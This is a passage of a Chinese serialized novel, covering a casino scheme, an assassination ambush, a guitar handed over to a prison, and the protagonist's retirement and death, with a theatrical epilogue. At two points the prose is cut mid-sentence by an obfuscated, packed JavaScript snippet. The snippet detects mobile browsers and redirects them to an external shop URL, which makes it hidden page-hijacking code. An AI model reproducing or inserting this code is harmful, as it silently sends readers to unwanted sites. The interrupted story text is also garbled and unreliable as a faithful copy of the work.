这里是个看不见时间与天空的地方,酒水与筹码机倒是随处可见,使用它们是免费的,但其副作用往往惊人的大。声光惑人,小象注意到一处尤其闪亮的景观房间,玻璃墙中竟是一座用钞票填充的泳池,其上方是一块与池同等大小的玻璃,干净得堪比不存在,设计者意图以老天的脸色作这财富池的装饰画。 小象当然没喝酒,她本来就有点心虚,要真喝点那还了得。她接过筹码,端着冷漠地态度让侍者离开,自己四处看了看,找了个转盘桌边坐下,把猫包放在腿上,小二沉默而局促地站在她身后。荷官欢迎,简单介绍,询问是否下注。 “单号,全部筹码。”筹码翻倍。 “单号,全部。”筹码翻倍。 “单号全跟。”筹码翻倍。 小象起身,无视荷官的脸色换了桌开骰子的坐下,小二面色僵硬地端着筹码框跟上,很快框换成篮子,篮子换成推车,当推车都装不下后,小象终于得以在老虎机前坐下歇会,好让赌场老板带人来请她去见小六了。 小六的规定是:在她的场子里任何人都不许使用超能力,冒犯者可以选择成为她的手下或被砍断手脚沉湾。 由于小二与小四的超能力表现都不是那么的显而易见,为了迅速引起注意力达成目的,三人一合计便想出了这个主意,别的不说,效果确实不错。小象每换一次座位,身边围观的人也和筹码一起成倍增加。金黄色的穹顶水晶灯之下,针对她的话题很快从“赌神再世”转到“这绝对是超能力者”,甚至角落里有为此而开的赌盘,现在比率大概是1.45。 “哈哈哈!”小四笑得开心,“赌你有什么用?这都没看出来的人上什么赌桌啊,不如把钱直接扔进下水道更方便点。” 所有的选择都由小四做出,小象所做的顶多就是把筹码推出去再加上忍住不要笑出声,面具即遮去了她的面孔也遮去了声音的来源。 “…我们什么时候能走…”小二用僵硬的声音说道,她是该计划的坚决反对者,但二比一的情况下她没得选,只能摆出这幅纯天然的抗拒态度敌视赌场里的一切。 很快就得走了,小象从天花板上绘制着宴会场景的油画中回过神,周围那些怂恿她再赌几把的人已经消失不见了,数十守卫像墙一样把她围了起来,腰间鼓起,幸好她有记得提前卸下□□弹匣。 “麻烦您和我们走一趟吧。”看着是领头的人客气地说道,“这些筹码我们会负责保管,请放心。” “不用,丢回你们的仓库里去吧。”小象站起身说,“反正我不会再来,也用不到这些了。” 领头者顿了顿,拿出对讲机说了些什么,随后对小象说道,“我们老大想与几位谈谈,几位可否移步楼上?” 56. 陷落都市与超能力-下-4 一路直达顶层,港口区高楼不多,这里算是视野最开阔的一栋。进入办公室前守卫对几人进行了简单安检,或许是因为看着像玩具也确实没法射击,小象的□□被简单放过了,反倒是小二身上搜出了一堆冷兵器,守卫再三保证后她才勉强愿意与它们分开。 开门,入口正对龙虎争斗屏风,绕过,落地大窗前,办公室的主人正翘着腿观赏那一路延伸向下的港区,以及远处几乎没入地平线的一小截大海,房间没开灯,衬得那扇窗如显示屏般刺眼。 “瞧这人,坐这儿跟个活靶子似的。”小四笑道。 话音落下,办公桌两边的守卫迅速将手放在腰边,小六抬手,两人顿住,她又挥了挥,两人对她的背影稍稍鞠躬,悄无声息地快速离开了办公室。 待门缝消失,那办公椅终于转了过来,有的人就是光是出现便能吸引光线聚集的,气势十足的小六撑着脑袋看向几人,依旧是那副什么都不看在眼里的样子。 “这也是我的工作之一。”她开口道,“展示勇气,或者说是觉悟?就像你们几个敢以这种方式来见我的人一样,是在靠风险换取收益。” “…你认出我们了?”小象皱眉。 “你们都没打算遮掩吧,那副面具算什么?流行饰品?”小六挑眉问道。 闻言,小象抬手将那副会挡她视线的面具摘下,这还是小二在商讨结束后现场找了块铁皮给她做的,眼周只留了条缝给她看东西。 “不错。”小六露出了见面后第一个笑容,“那么现在可以来谈谈你们从我的赌场里获得的那些报酬了。” “报酬?”小象顿了顿,随后说,“按照你的规矩——” “你们并没有使用超能力不是吗?”小六问道,“我当然是有能判断它的方式才设立那条规矩的。” 小二在赌场内行动僵硬如石,小四只有颗头,她们当然没用超能力来干扰赌博结果。 “哼哼。”小四得意地笑了。 “我的赌场还不至于因为那个程度的赌资而对客人下手,比起钱,你们似乎更想要见我一面。”小六说着伸手扬起气势十足的卷发,笑着说道,“为了嘉奖你们的眼光,我决定给你们一次机会。说吧,你们冒着这样的风险来见我的理由是什么?” “…总之,我是来给你这封信的。”小象将信封放到小六的办公桌上。 “这是什么?”小六没看那封信,直视小象问道。 “我也不知道,不过这是给你的。”小象说。 “…你好像有一种自信。”小六歪了歪头,“好像我读了这封信就会改变态度,会撤回对你们的追杀令,会配合你。” 确实如此,小象心想,这封信的效果就该是这样的。 “我为什么要读这封信?”小六问道。 “…什么?”小象疑惑道。 “哼。”小六笑了,她伸出手将信封捏起,但她的眼睛依然盯着小象,问道,“我为什么要读这封信?告诉我,否则我就撕了它。” “…为什么?”小象才想问这个问题,很快她想起了什么,不可置信道,“你不会是在报复我之前拒绝你吧?!” “哈哈哈!”小六大笑,她抬手松了点领口,眯起眼睛压低嗓音说,“那又怎样?回答我的问题,还是说你要再冒犯我一次?” 对方语气中的威胁令小象忍不住扶住了额头,都到最后关头了居然还能遇到这样的麻烦。 “我欣赏你的叛逆。”小四说。 “我不会感谢你,你也最好别用这种东西来形容我。”小六嗤笑道,“这种标签只会让我看着很弱。” “…你为什么不读这封信呢?”小象问道。 “有信就要读?那我的工作也就只剩下读信了。” “我求你的话你能读吗?” “哈哈哈!不行。” “理由…理由…我们得想办法离开这里,你能读那封信了吗?” “这是‘你们的目的’吧?我有什么非读不可的理由吗?” “怎么还升级了…”小象深深叹了口气,思索片刻后问道,“你不读这封信可能会有严重的后果,这个理由如何?” “…你是在威胁我吗?”小六问道,她脸上的表情尽数消失,转为一种随时可改变的空白。 “不,我只是在提醒你。”小象解释道,“这是封为了我的利益而存在的信,但对你来说,这也是一封需要被读的信。” “我凭什么相信你的话?”小六问道。 “…你是白痴吗?”小象忍无可忍道,“一封信能带来的后果比你想象中的严重——” “就当我是吧。”小六并没有生气,而是随意道,“悍勇的白痴总比一个会知难而退的聪明人值得托付后背。” “…请听我说。”小二挡在了小象身前,对小六说道,“我还记得你一开始来找我们,为的就是这里的事,对吧。” “…是又如何?”小六看向小二问道,“需要我提醒你们当时是如何拒绝我的吗?” 她换了个稍微正式点的坐姿,说道,“你们这群不需要政府的人是无法理解的。无论是哪里的‘内城区’,政府对其态度都是一样的,懒得要命,有小问题就先盖着,等烂肉都开始发酵才不得不动起来。你们当内城区是什么?原先它被叫做‘市区’时,边上也有块它的‘内城区’,一次流行病从那里爆发影响到‘市区’后,市政厅连夜开会要解决‘内城区’的存在。钱掏了一大笔,力求让内城区这个概念与流行病一起打包从陷落都市消失。但城市问题不会因为城市消失就消失,一群人走了又会有新的人来,内城区不过是个称呼,病就是病。” “你又治好了哪部分?你所做的和你骂的有什么不同。”小四嗤笑道,“你觉得那群人喊你‘老大’你就真的能统治这里了?连封信都不愿意读,你位置这么高又看得清什么?” 确实看不清,但小六也曾在位置很低的地方待过,那时还没有超能力者,没有“内城区”,这里还不叫陷落都市。这一切都像是这座城市的病变表现,像肿瘤,像结不了疤的口子。她看着城市生病也知道病有多难治,哪里是一句“收入再分配不平等”说得清的? “…她们能看得清我的态度就够了。”小六只是这样说,“我的行动目的是为了家族利益。” “但是。”小二再次开口道,“即使是为了你的家族,你也该读这封信。” “…给我理由。”小六说。 “…因为这封信所导向的结果,是预言家小一选择的,她为此付出了自己的生命。”小二说,“既然她选择了你,那就意味着你确实能为这里做到些什么,她看到了。” 话音落下,办公室内安静许久,小六一动不动地盯着小二思索着些什么,小二也不动。 良久过后,小六放下手里的信,摇动桌边铃铛,有守卫推门进入,她视线滑过紧盯她行动的几人,笑了笑说,“为几位客人带些茶来。” 待守卫离开,她又对几人摆了摆手说,“楞着干什么,坐。” “…其实我更想快点离开这里。”小象说。 “坐,然后喝杯茶。”小六说,“我的客人可没有来了送个东西就走的道理。” 几人落座,小二倒是还站着,侍者带着茶进入办公室,小六拆开信封阅读内容,随手挥退对方,于是办公室内再次安静了下来,小象松了口气,抬起杯子喝了口,绿茶香气扑鼻,还加了糖。 读完信,小六皱眉将其收好放进抽屉中,看了眼小象,捧茶啜饮一口后皱眉迅速加深,她抬手摇铃,有人推门,她质问道,“今天的茶是谁准备的?” 血腥味涌进办公室内,门外,走廊仅有一人站立。 “不是我,不过我确实加了点东西。”小五说着,又补充道,“普通人不是我的目标,都让开吧。” 听到她声音的一瞬间,小象只觉脑内天昏地暗,这并非错觉或情绪表现,她看向落在地上碎开的茶,与那森林公园中的湖水相比不够清洌,想来小六也没好心到会考虑她的口味。 “…是你。”小六认出来人,但她也是添加剂受害者,此时支撑着站起的动作都摇摇欲坠了起来,她没倒下,继而低吼道,“暗杀者,你竟敢对我下手!” 这句没用的话没得到小五的回答,她抬手接下小二劈下的手刃,继而与她缠斗在一起,起初几次碰撞不分伯仲,但不过几招之下小二便落了下风。原因是战斗习惯,她习惯了以伤换伤,现身体却早以不足以支撑她以往的这种高消费。 必须得做些什么,小象忍住几乎要夺取她意识的昏睡欲望,抬手要开启发信器—— “砰”装载过消音器的枪支在射击时只发出了这样的闷响,甚至比不上小二被击飞到墙面后落在地上的声音大。 但那确实是子弹,小象被击穿的右手腕证实了这一点。 如进入自家客厅一样,小五漫步至倒地的小象身边,拎起她的头查看,继而开口道,“确实是她,我会把她带回去的,准备一下。” 随后,她便注意到了一旁同样落在地上的猫包,那才是她的目标。 “额——”小二暴起扑至小五的背上,她的每次落地都会在华贵的地毯上落下洗不掉的血痕,越来越多,每次迈步都像最后一次。 被架起上肢的小五松开手让小象落地,下肢蓄力,起跳,背摔着地,让二人一同坠入血池之中,小二的背部与胸腔嘎吱作响,但她没松手。 中计了,早该想到的,暗杀者怎么会那样大张旗鼓地袭击?那是幌子,是麻醉剂,是故意设下好叫短暂胜利者沾沾自喜的陷阱,在坑底仰视月亮的感觉如何?死人大多只会感觉到平静,那么同感者不过是些还没被埋起来的尸体罢了。 想象了那么多却还是没能想象到这里,小象感受着手腕刺骨的痛,脑中一片空白,除了“我真没用”这样的抱怨外什么都没能涌出。 但下一刻,发信器被启动的声音与力量涌现在驱赶与四肢。 “不要放弃。”小四在她耳边说道。 “哗啦——”落地玻璃窗碎开的声音惊动小五,她挥开摇摇欲坠的小二回头,只看见抱着箱子与头颅跳进天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296776|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空的小象,那里明明是只有会飞的东西才能去的地方,但无论如何,她紧跟其后跳出办公室—— 警报声拉长,正下方是等待她已久的枪口。 一人一头以及一具无法动弹的身体碎开玻璃坠入纸钞填充的泳池之中,这些纸片如蝴蝶般翻飞起来,混着在灯光下璀璨如星光的玻璃碎片,引得赌徒们高呼侧目。 从池中挣扎爬起,小象意图离开池中,脚腕忽然一紧,是一只医用白色手套,小五的身体还无法动弹地埋在池里,手便抓向了自己的目标。 “…我说你也差不多可以放弃了吧!”小象忍无可忍地踹开了对方的手,“你再这样我就开枪了——” 回答她的是从池中支起身体的小五,她的身体还因电击效果颤抖着,眼珠却如同跟不上身体的状态一样死死盯向小象。 小象咬牙,对准她再次开枪。 □□是用于“制服”对方的武器,对于常规执法者来说,她们需要先经受过一次□□打击之后才能获得开枪的权利,所谓明白责任的重量。但小象不明白,她只是获得了这把枪,遇到了会对她造成威胁的人,于是她扣动扳机的动作毫不犹豫。 但小五就像是不明白这意味着什么一样,一次又一次地爬起,靠近,直到小象的背部挨到水池边缘,退无可退的人再一次变成了她。 “够了!”她在混乱的情绪中吼道,“再靠近我就杀了你!” 感受着紧握自己头颅的手不断颤抖,小四叹了口气。 “法庭的执行人,你早就该那么做了。”小五开口道,她的面颊颤抖着,说话却是清晰的。 闻言,小四却是楞住了。 “…你不要命了吗。”小象不可置信道。 “…你都能认出我的话,我早就是个失败的暗杀者了。”小五却是笑了,“不过比起这个,我更喜欢‘医生’这种能被理解行为的称呼。” “…医生?”小象不解。 “医生,能治好你们这种疯子的医生。”小五看向小四,再次站直了身体。 “你,你们到底为什么要做这种事?”小象问道,“我要送她去监狱,监狱你明白吗?你何必来杀她?” 闻言,小五却是看向小象,露出了像是在怜悯一般的眼神说道,“…你真可怜。” 小象只觉得眼球两边抽搐着发麻。 “有人维护现在这个世界,就也有人喜欢以前那个世界的。”小五说完便轻微俯下身,那是她下一次攻击的预兆。 要开枪吗?□□好像没用,要试试别的子弹吗?或者干脆—— 胸口处一痛,小象不由自主地松开了手,怀中那颗头颅弹跳着飞了出去,像个巨星一样,吸引了她,小五,以及赌场里所有人的视线。 “当初,我等了五年。”她看着小象,笑着说,“到头来哪里都是一样的啊。” 小五迅速抬手,白色手套接触那主动朝她飞去的患者,小四看着她,在月光之下高声问道,“准备好迎接艺术了吗?” 没有等待回答,巨大的爆炸轰动全场,钱币被冲天涡流卷起散进夜空,热浪豁开一切隔阂,放任它们飞向街区,天台,大海。被争斗吸引而来的人欢呼雀跃地抬起手,蜂拥着追逐那些闪闪发光的蝴蝶,灯光,伴奏,氛围,以及笑容,这里现在什么都不缺了。 头颅燃烧殆尽,小五向后倒去,没了动静。 怀抱轻飘飘的枪,小象跪倒在地,感受巨量信息冲击之后的平静,但即使是如此,她的脑中依旧不断闪回小四与小五对她说的话,那是什么意思?她会有理解其含义的一天吗? 当天夜里港口区忙得要命,小象带着箱子坐上开往监狱的船,这次不会再有人阻止她,却也没有人陪在她身边了。 小二死去了,死因是重伤不治,她的尸体称得上惨不忍睹,她没有遗言,她的死亡填充了那间办公室的边角。 她的名字被刻在了城市墓地的巨碑上,是挨着小四的下一个。 离开时,小三来送她,却什么都没说,她一根又一根地抽着烟,表情没法被看清。 最后,小象还是把任务搞砸了。 “这个特殊物品…是受过什么损伤吗?”检察官对着毫无起伏的吉它皱眉道,“看结构它本该更活跃的,你在运输过程中没做好保护措施吗?” “…我确实没能保护好她的头。”小象说。 “不,和那无关。”检察官无所谓道,“我说这个特殊物体,它在运输过程中被取出使用过吗?现在它的活性极低,几乎已经没有——” “你们只会关押这把吉它?”小象问道。 “…可以这样说。”检察官回答,“你说的人我知道,她并没有犯下任何罪不是吗?这里再怎么说都是监狱,只关犯人。” “那——” “这把吉它,只要存在就是在违反任何常理。” 小象不再说话了,她离开监狱,将任务失败的信息告知书记,得到“我知道了”的回复,以及一个新任务。 船只摇晃,提醒她脚下的是大海,她还在路上。 57. 剧目终章 时间不知过去了多久,小象在一次任务之后,主动向书记提出了辞职,这次对方的回复有些慢,大概过了五分钟,她回答“我知道了”,又过了五分钟,她追问“我希望你告诉我原因”。 小象的回答是:想试试看别的工作。 回到法庭,交还装备,摘除芯片,走离职程序,小象再次看到书记时,她似乎并不怎么留恋自己的老员工,只是平静地看着自己在法庭跑来跑去地忙碌着,忙于准备离开。 临行之前,小象终于问出了她一直想问的那个问题:“你到底为什么会选我作执行人呢?” “执行人的选择基于个体生命时间轴上所有的因果律。”书记回答,“无论经过多少次任务,你所有的因果律都比这星球上任何一个人要低,小象,没有人比你更适合这里,也没有职业比执行人更适合你。” 她说完,看着小象,等待。 “…原来是这样。”小象点了点头,回答道,“谢谢。” 随后,她离开了。 书记说的是对的,小象比这世上任何一个人都适合道德法庭,适合巴别塔岛,因为她不是这世界上任何一个国家的公民,她有任何一个国家的入关签证,却没有任何一个国家的永久居住权。因为这点,现在她甚至无法打开那些案件档案。 带着退休金与唯一的工作经验,她的求职之旅没能持续多久,她被绑架了,对方的身份手段全都不明,目的倒是明显:绑架一个退休的道德法庭执行者获得些秘密信息。 对方使用脑机获取了小象印象最深的六个任务的全部内容,试图从中找到自己想要的东西。 “这人不会是弱智吧,怎么一个人的名字都不记得?!” “…恐怕是法庭那边设下的认知模糊限制,不仅仅是那些人的名字,连她自己的名字都没能留下。” “哦那倒不是,这个人好像确实没有名字只有代号,她连国籍都没有。” “传信者的代号是主教,象…是她自己,或者那个‘书记’取的吧。” “要是能获得她任务信息也就算了…诶,至少有些收获不算白忙活一场,就先这样吧,她怎么处理?” “用脑机抹除生物意识丢海里就好,记得别留下痕迹,伪装成脑电波侵袭吧。反正她不受国家法律保护,联合国那边我们会看着。” 就这样,小象死去了,第七个人终于以死亡的形式结束了演出,演员散尽,剧场落幕,有人想鼓掌吗? 不对,台上怎么还有一个人? 那是白痴,演出都结束了却不知道要走,都是因为她,清洁人员都没办法上去扫除舞台上的垃圾了。 演出因为她不得不延续片刻,演员们再次回到了舞台上,她们面面相觑,决定在最后的时间里为第七个人做些什么。没有新的剧本,也不会有新的故事了,而过去的片段也都已然揭晓,还有什么是值得一提呢? 侦探问道:为什么第七个人会选择离开那座岛呢?难道她无法看清自己的处境吗?不是这样的吧,一定是有什么她不得不去做的事情迫使她离开那座岛的,那会是什么呢?让我们来找找线索吧。 钟表匠举起手说:我可以修好时间,让那些故事的排序按照时间排序,而不是那些乱七八糟的东西。于是她将钟表修好,众人发现,那最初的演员——第七个人印象最深的故事竟也是最后的故事。那可是个称得上混乱无序的圣诞节,是什么让她这样无法忘怀,甚至决定离开那座岛呢? 她杀死了一个人。 天呐!众人惊呼,第七个人竟然杀死了一个人,这下该怎么办呢?谁来制裁她?真相已被掩盖,她已经死去,谁能去评判一个死人? 人偶说:那就让我来代替第七个人倒在舞台上吧,反正没人提线的话我也没法动。于是,死亡角色从第七个人转为人偶,她重新拥有了站上舞台的机会。 吹笛手说:我会用旋律带回她的灵魂。于是她奏起美妙的乐章,散落在舞台上的零碎物件重新聚集,拼凑,修复为了第七位演员。 于是侦探提问:是什么让你选择离开那座岛呢? 第七个人回答说:因为我杀了人,我觉得害怕,我想回家。 她的家乡在哪里?在哪个洲?哪个地区?哪个国家?哪座城市?哪栋屋子里?众人面面相觑,谁都找不到答案。 有一个人一定知道答案的,而第七个人恰好也知道她的联系方式,来问问吧,在这最后的时刻。 问:“我的家在哪里?” “请打开经济法庭第一层第一起案件的公开档案。”书记回答。 第七个人做不到,于是,合上短信界面,她打了一通电话。 “2002年,科技集团X在获得国家Y授权后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第七个人点头,于是当她再次睁开眼时,便发现自己和那熟悉的箱子一起躺在一艘小船里,四周是一望无际的大海。她可能在这颗星球上的任何一个地方,就像往常的任何一个瞬间,但这次,她知道自己在做什么。 小象从回忆中醒来,开始了新的冒险! 全剧终。